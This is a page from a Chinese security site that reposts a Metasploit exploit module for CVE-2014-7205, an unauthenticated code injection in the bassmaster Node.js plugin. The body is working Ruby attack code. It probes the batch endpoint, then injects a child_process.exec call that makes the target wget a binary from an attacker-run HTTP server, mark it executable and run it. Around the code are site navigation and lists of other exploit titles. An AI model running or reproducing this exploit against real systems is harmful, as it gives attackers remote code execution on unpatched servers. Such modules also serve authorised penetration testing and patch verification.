首页 | 安全文章 | 安全工具 | Exploits | 本站原创 | 关于我们 | 网站地图 | 安全论坛
  当前位置:主页>安全文章>文章资料>Exploits>文章内容
Bassmaster Batch Arbitrary JavaScript Injection Remote Code Execution
来源:metasploit.com 作者:mr_me 发布时间:2016-10-31  
require 'msf/core'

class MetasploitModule < Msf::Exploit::Remote
  Rank = ExcellentRanking

  include Msf::Exploit::Remote::HttpClient
  include Msf::Exploit::Remote::HttpServer
  include Msf::Exploit::EXE
  include Msf::Exploit::FileDropper

  def initialize(info = {})
    super(update_info(info,
      'Name'           => 'Bassmaster Batch Arbitrary JavaScript Injection Remote Code Execution',
      'Description'    => %q{
        This module exploits an un-authenticated code injection vulnerability in the bassmaster
        nodejs plugin for hapi. The vulnerability is within the batch endpoint and allows an
        attacker to dynamically execute JavaScript code on the server side using an eval.

        Note that the code uses a '\x2f' character so that we hit the match on the regex.
      },
      'Author'         =>
        [
          'mr_me <mr_me@offensive-security.com>',      # msf
          'Jarda Kotesovec'                            # original bug finder
        ],
      'References'  =>
        [
          [ 'CVE', '2014-7205'],
          [ 'URL', 'https://nodesecurity.io/advisories/bassmaster_js_injection'],        # nodejs advisory
        ],
      'License'        => MSF_LICENSE,
      'Platform'    => ['linux', 'bsd'],                                                 # binary > native JavaScript
      'Arch'        => [ARCH_X86, ARCH_X86_64],
      'Privileged'     => false,
      'Targets'     =>
        [
          [ 'Bassmaster <= 1.5.1', {} ]                                                  # Other versions are also affected
        ],
      'DefaultTarget' => 0,
      'DisclosureDate' => 'Nov 1 2016'))
    register_options(
      [
        Opt::RPORT(8080),                                                                # default port for the examples/batch.js file
        OptString.new('URIPATH', [ true, 'The path to the vulnerable route', "/batch"]), # default route for the examples/batch.js file
        OptPort.new('SRVPORT', [ true, 'The daemon port to listen on', 1337 ]),
      ], self.class)
  end

  def check

    # So if we can append an encapsulated string into the body
    # we know that we can execute arbitrary JavaScript code
    rando  = rand_text_alpha(8+rand(8))
    check  = "+'#{rando}'"

    # testing
    requests = [
      {:method => "get", :path => "/profile"},
      {:method => "get", :path => "/item"},
      {:method => "get", :path => "/item/$1.id#{check}"}, # need to match this /(?:\/)(?:\$(\d)+\.)?([^\/\$]*)/g;
    ]

    post = {:requests => requests}

    res = send_request_cgi({
      'method' => 'POST',
      'uri'    => normalize_uri(datastore['URIPATH']),
      'ctype' => 'application/json',
      'data'   => post.to_json
    })

    # default example app
    if res and res.code == 200 and res.body =~ /#{rando}/
      return CheckCode::Vulnerable

    # non-default app
    elsif res and res.code == 500 and res.body =~ /#{rando}/
      return CheckCode::Appears
    end

    return CheckCode::Safe
  end

  def on_request_uri(cli, request)
    if (not @pl)
      print_error("#{rhost}:#{rport} - A request came in, but the payload wasn't ready yet!")
      return
    end
    print_status("#{rhost}:#{rport} - Sending the payload to the server...")
    @elf_sent = true
    send_response(cli, @pl)
  end

  def send_payload
    @bd = rand_text_alpha(8+rand(8))
    pn  = rand_text_alpha(8+rand(8))
    register_file_for_cleanup("/tmp/#{@bd}")
    cmd  = "wget #{@service_url} -O \\x2ftmp\\x2f#{@bd};"
    cmd << "chmod 755 \\x2ftmp\\x2f#{@bd};"
    cmd << "\\x2ftmp\\x2f#{@bd}"
    pay = ";require('child_process').exec('#{cmd}');"

    # pwning
    requests = [
      {:method => "get", :path => "/profile"},
      {:method => "get", :path => "/item"},
      {:method => "get", :path => "/item/$1.id#{pay}"}, # need to match this /(?:\/)(?:\$(\d)+\.)?([^\/\$]*)/g;
    ]

    post = {:requests => requests}

    res = send_request_cgi({
      'method' => 'POST',
      'uri'    => normalize_uri(datastore['URIPATH']),
      'ctype' => 'application/json',
      'data'   => post.to_json
    })

    # default example app
    if res and res.code == 200 and res.body =~ /id/
      return true

    # incase we are not targeting the default app
    elsif res and res.code == 500 and es.body !=~ /id/
      return true
    end
    return false
  end

  def start_http_server
    @pl = generate_payload_exe
    @elf_sent = false
    downfile = rand_text_alpha(8+rand(8))
    resource_uri = "\\x2f#{downfile}"
    if (datastore['SRVHOST'] == "0.0.0.0" or datastore['SRVHOST'] == "::")
      srv_host = datastore['URIHOST'] || Rex::Socket.source_address(rhost)
    else
      srv_host = datastore['SRVHOST']
    end

    # do not use SSL for the attacking web server
    if datastore['SSL']
      ssl_restore = true
      datastore['SSL'] = false
    end

    @service_url = "http:\\x2f\\x2f#{srv_host}:#{datastore['SRVPORT']}#{resource_uri}"
    service_url_payload = srv_host + resource_uri
    print_status("#{rhost}:#{rport} - Starting up our web service on #{@service_url} ...")
    start_service({'Uri' => {
      'Proc' => Proc.new { |cli, req|
        on_request_uri(cli, req)
      },
      'Path' => resource_uri
    }})
    datastore['SSL'] = true if ssl_restore
    connect
  end

  def exploit
      start_http_server
      if send_payload
        print_good("Injected payload")
        # we need to delay, for the stager
        select(nil, nil, nil, 5)
      end
  end
end

 
[推荐] [评论(0条)] [返回顶部] [打印本页] [关闭窗口]  
匿名评论
评论内容:(不能超过250字,需审核后才会公布,请自觉遵守互联网相关政策法规。
 §最新评论:
  热点文章
·CVE-2012-0217 Intel sysret exp
·Linux Kernel 2.6.32 Local Root
·Array Networks vxAG / xAPV Pri
·Novell NetIQ Privileged User M
·Array Networks vAPV / vxAG Cod
·Excel SLYK Format Parsing Buff
·PhpInclude.Worm - PHP Scripts
·Apache 2.2.0 - 2.2.11 Remote e
·VideoScript 3.0 <= 4.0.1.50 Of
·Yahoo! Messenger Webcam 8.1 Ac
·Family Connections <= 1.8.2 Re
·Joomla Component EasyBook 1.1
  相关文章
·NO-IP DUC v4.1.1 Unquoted Serv
·Angelo Emlak Scripti 1.0 Datab
·PDF Complete Office Edition 4.
·ASP Gateway 1.0.0 Database Dis
·Baby FTP server 1.24 - Denial
·freeFTPd 1.0.8 - 'mkd' Command
·CherryTree 0.36.9 - Memory Cor
·Micro Focus Rumba 9.4 - Local
·uSQLite 1.0.0 - Denial Of Serv
·Micro Focus Rumba 9.3 - Active
·GNU GTypist 2.9.5-2 - Local Bu
·Rumba FTP Client 4.x - Stack b
  推荐广告
CopyRight © 2002-2022 VFocuS.Net All Rights Reserved